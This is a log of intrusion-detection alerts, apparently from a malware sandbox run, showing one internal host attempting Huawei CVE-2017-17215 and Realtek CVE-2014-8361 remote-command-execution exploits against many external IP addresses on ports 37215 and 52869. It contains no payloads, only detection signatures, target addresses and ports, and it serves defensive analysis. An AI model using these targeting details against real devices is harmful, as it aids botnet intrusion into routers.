SID:	2027339
Source Port:	43680
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.204.132.126

Timestamp:	07/20/24-23:01:15.000440
SID:	2835222
Source Port:	52346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.38.182.214

Timestamp:	07/20/24-23:01:02.661070
SID:	2835222
Source Port:	47232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.77.149.119

Timestamp:	07/20/24-23:01:06.805919
SID:	2829579
Source Port:	59466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 80.226.91.150

Timestamp:	07/20/24-23:01:14.513053
SID:	2027339
Source Port:	48524
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.117.156.181

Timestamp:	07/20/24-23:01:36.850221
SID:	2829579
Source Port:	37712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.170.121.130

Timestamp:	07/20/24-23:01:02.699256
SID:	2829579
Source Port:	53848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.172.181.194

Timestamp:	07/20/24-23:01:12.356738
SID:	2835222
Source Port:	57084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 204.248.242.165

Timestamp:	07/20/24-23:01:06.801747
SID:	2835222
Source Port:	45132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 130.206.211.129

Timestamp:	07/20/24-23:01:04.189873
SID:	2025132
Source Port:	38834
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 9.231.7.210

Timestamp:	07/20/24-23:01:05.850964
SID:	2025132
Source Port:	58142
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 51.138.200.142

Timestamp:	07/20/24-23:01:12.485954
SID:	2835222
Source Port:	46684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 143.236.166.197

Timestamp:	07/20/24-23:01:04.996112
SID:	2025132
Source Port:	42384
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.113.162.101

Timestamp:	07/20/24-23:01:25.391404
SID:	2829579
Source Port:	48894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.250.169.127

Timestamp:	07/20/24-23:01:06.820921
SID:	2829579
Source Port:	47066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 123.80.84.34

Timestamp:	07/20/24-23:01:32.203847
SID:	2829579
Source Port:	59048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 134.45.224.216

Timestamp:	07/20/24-23:01:27.361793
SID:	2831300
Source Port:	60064
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.95.163.59

Timestamp:	07/20/24-23:01:02.624280
SID:	2835222
Source Port:	55636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 163.251.53.210

Timestamp:	07/20/24-23:01:19.597930
SID:	2025132
Source Port:	36964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 187.26.97.109

Timestamp:	07/20/24-23:01:38.795028
SID:	2025132
Source Port:	36368
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 61.74.229.54

Timestamp:	07/20/24-23:01:22.748660
SID:	2829579
Source Port:	36276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.191.211.246

Timestamp:	07/20/24-23:01:17.798948
SID:	2835222
Source Port:	58324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.190.172.118

Timestamp:	07/20/24-23:00:59.020587
SID:	2829579
Source Port:	60718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.223.153.77

Timestamp:	07/20/24-23:01:22.741097
SID:	2829579
Source Port:	41210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.90.120.141

Timestamp:	07/20/24-23:01:06.804996
SID:	2829579
Source Port:	44872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 4.4.167.103

Timestamp:	07/20/24-23:01:14.530140
SID:	2027339
Source Port:	51548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 186.203.154.108

Timestamp:	07/20/24-23:01:14.533681
SID:	2027339
Source Port:	46118
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.33.169.56

Timestamp:	07/20/24-23:01:02.613456
SID:	2829579
Source Port:	51784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 141.36.128.134

Timestamp:	07/20/24-23:01:06.544900
SID:	2027339
Source Port:	43130
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 145.152.149.135

Timestamp:	07/20/24-23:01:08.386561
SID:	2829579
Source Port:	58218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.81.140.247

Timestamp:	07/20/24-23:01:06.804996
SID:	2835222
Source Port:	58982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.54.201.107

Timestamp:	07/20/24-23:01:04.853320
SID:	2829579
Source Port:	33200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.194.84.193

Timestamp:	07/20/24-23:00:59.021825
SID:	2835222
Source Port:	39374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.151.215.75

Timestamp:	07/20/24-23:01:02.603717
SID:	2829579
Source Port:	47084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 136.164.189.225

Timestamp:	07/20/24-23:01:14.525838
SID:	2831300
Source Port:	49290
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 125.124.24.16

Timestamp:	07/20/24-23:01:02.669609
SID:	2829579
Source Port:	46646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 223.12.56.51

Timestamp:	07/20/24-23:01:06.806392
SID:	2829579
Source Port:	54820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.173.88.176

Timestamp:	07/20/24-23:01:17.779183
SID:	2835222
Source Port:	33254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 148.242.181.53

Timestamp:	07/20/24-23:01:06.635348
SID:	2025132
Source Port:	45350
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 198.40.74.18

Timestamp:	07/20/24-23:01:02.624280
SID:	2835222
Source Port:	54392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 175.10.79.147

Timestamp:	07/20/24-23:01:04.758874
SID:	2027339
Source Port:	36080
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 205.156.139.74

Timestamp:	07/20/24-23:01:36.850220
SID:	2829579
Source Port:	43492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 191.214.228.151

Timestamp:	07/20/24-23:01:05.772057
SID:	2027339
Source Port:	58380
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 77.121.237.8

Timestamp:	07/20/24-23:01:27.354949
SID:	2027339
Source Port:	51096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.24.241.194

Timestamp:	07/20/24-23:01:04.858015
SID:	2835222
Source Port:	59500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 220.90.88.236

Timestamp:	07/20/24-23:00:59.021908
SID:	2829579
Source Port:	56090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.123.108.99

Timestamp:	07/20/24-23:01:02.628234
SID:	2829579
Source Port:	37016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 80.49.148.206

Timestamp:	07/20/24-23:01:14.558193
SID:	2027339
Source Port:	60966
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 83.224.119.168

Timestamp:	07/20/24-23:01:05.623019
SID:	2025132
Source Port:	39716
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 104.8.73.49

Timestamp:	07/20/24-23:00:59.020086
SID:	2835222
Source Port:	38898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.2.99.209

Timestamp:	07/20/24-23:01:06.812906
SID:	2835222
Source Port:	37386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.218.97.111

Timestamp:	07/20/24-23:01:04.907418
SID:	2829579
Source Port:	46534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.107.145.193

Timestamp:	07/20/24-23:01:06.813789
SID:	2829579
Source Port:	40864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 181.45.102.205

Timestamp:	07/20/24-23:01:08.459274
SID:	2829579
Source Port:	47400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.25.94.239

Timestamp:	07/20/24-23:01:12.485954
SID:	2835222
Source Port:	39680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.132.47.158

Timestamp:	07/20/24-23:01:12.525593
SID:	2829579
Source Port:	44640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 51.159.237.57

Timestamp:	07/20/24-23:01:25.406212
SID:	2835222
Source Port:	41648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.103.47.251

Timestamp:	07/20/24-23:01:04.848636
SID:	2835222
Source Port:	55666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 116.119.255.178

Timestamp:	07/20/24-23:01:27.357902
SID:	2831300
Source Port:	35036
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 1.6.86.123

Timestamp:	07/20/24-23:01:14.542240
SID:	2831300
Source Port:	53422
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 121.90.143.153

Timestamp:	07/20/24-23:01:08.455371
SID:	2835222
Source Port:	38202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 82.38.244.59

Timestamp:	07/20/24-23:01:27.352673
SID:	2831300
Source Port:	40200
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.83.163.214

Timestamp:	07/20/24-23:01:04.907418
SID:	2829579
Source Port:	44330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 151.248.182.102

Timestamp:	07/20/24-23:01:15.000002
SID:	2829579
Source Port:	57738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.16.131.86

Timestamp:	07/20/24-23:00:59.022037
SID:	2829579
Source Port:	40934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.162.54.233

Timestamp:	07/20/24-23:01:12.360353
SID:	2829579
Source Port:	40890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 83.201.72.91

Timestamp:	07/20/24-23:01:07.186219
SID:	2025132
Source Port:	37648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.194.122.181

Timestamp:	07/20/24-23:01:17.786876
SID:	2829579
Source Port:	35996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.117.186.115

Timestamp:	07/20/24-23:01:02.699257
SID:	2829579
Source Port:	58484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 37.205.184.129

Timestamp:	07/20/24-23:01:14.533279
SID:	2831300
Source Port:	42366
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.128.222.193

Timestamp:	07/20/24-23:01:32.203847
SID:	2835222
Source Port:	50280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 100.58.169.89

Timestamp:	07/20/24-23:01:04.592707
SID:	2025132
Source Port:	32812
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 47.206.114.161

Timestamp:	07/20/24-23:01:14.556764
SID:	2831300
Source Port:	52702
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.16.61.193

Timestamp:	07/20/24-23:00:59.055808
SID:	2829579
Source Port:	47022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.25.228.57

Timestamp:	07/20/24-23:01:02.678688
SID:	2835222
Source Port:	51348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.97.97.145

Timestamp:	07/20/24-23:01:06.800702
SID:	2835222
Source Port:	40006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.147.181.109

Timestamp:	07/20/24-23:01:15.000888
SID:	2835222
Source Port:	51472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 135.241.25.166

Timestamp:	07/20/24-23:01:04.798742
SID:	2025132
Source Port:	48496
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 57.53.68.209

Timestamp:	07/20/24-23:01:07.411128
SID:	2027339
Source Port:	58568
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.22.89.78

Timestamp:	07/20/24-23:01:36.812730
SID:	2829579
Source Port:	36022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 13.232.225.193

Timestamp:	07/20/24-23:01:07.426654
SID:	2025132
Source Port:	57308
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.119.203.28

Timestamp:	07/20/24-23:01:12.502954
SID:	2829579
Source Port:	33836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 187.123.127.227

Timestamp:	07/20/24-23:01:14.535851
SID:	2831300
Source Port:	60132
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 82.166.201.81

Timestamp:	07/20/24-23:01:14.536803
SID:	2027339
Source Port:	50872
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.146.203.166

Timestamp:	07/20/24-23:01:06.806393
SID:	2829579
Source Port:	56328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.87.191.160

Timestamp:	07/20/24-23:01:15.000887
SID:	2829579
Source Port:	53250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 80.238.42.16

Timestamp:	07/20/24-23:01:19.329748
SID:	2027339
Source Port:	42244
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.34.139.95

Timestamp:	07/20/24-23:01:32.213464
SID:	2829579
Source Port:	50752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 18.85.84.92

Timestamp:	07/20/24-23:01:25.391285
SID:	2835222
Source Port:	47340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 54.236.238.51

Timestamp:	07/20/24-23:01:14.559132
SID:	2027339
Source Port:	59528
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 168.29.107.22

Timestamp:	07/20/24-23:01:32.271087
SID:	2829579
Source Port:	57718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.10.21.189

Timestamp:	07/20/24-23:01:06.812618
SID:	2829579
Source Port:	39712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 40.11.215.79

Timestamp:	07/20/24-23:01:14.506916
SID:	2831300
Source Port:	47204
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.129.109.210

Timestamp:	07/20/24-23:01:22.799665
SID:	2829579
Source Port:	54936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 119.59.179.103

Timestamp:	07/20/24-23:01:04.908544
SID:	2829579
Source Port:	53260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.129.139.199

Timestamp:	07/20/24-23:01:27.306441
SID:	2835222
Source Port:	46514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 98.254.20.30

Timestamp:	07/20/24-23:01:19.345992
SID:	2025132
Source Port:	52382
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 41.74.147.143

Timestamp:	07/20/24-23:01:07.598475
SID:	2027339
Source Port:	33826
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.238.24.191

Timestamp:	07/20/24-23:01:08.407500
SID:	2835222
Source Port:	53758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 183.32.240.14

Timestamp:	07/20/24-23:01:14.536390
SID:	2027339
Source Port:	50636
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 130.147.77.29

Timestamp:	07/20/24-23:01:05.801989
SID:	2025132
Source Port:	35290
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 100.2.80.95

Timestamp:	07/20/24-23:01:27.277398
SID:	2829579
Source Port:	59458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

